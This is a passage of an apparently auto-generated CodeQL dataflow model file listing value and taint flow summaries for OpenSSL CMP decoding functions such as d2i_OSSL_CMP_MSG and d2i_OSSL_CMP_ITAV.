unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ITAV", "(OSSL_CMP_ITAV **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_KEYRECREPCONTENT", "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG", "(OSSL_CMP_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_MSG_bio", "(BIO *,OSSL_CMP_MSG **)", "", "Argument[*1]", "ReturnValue[*]", 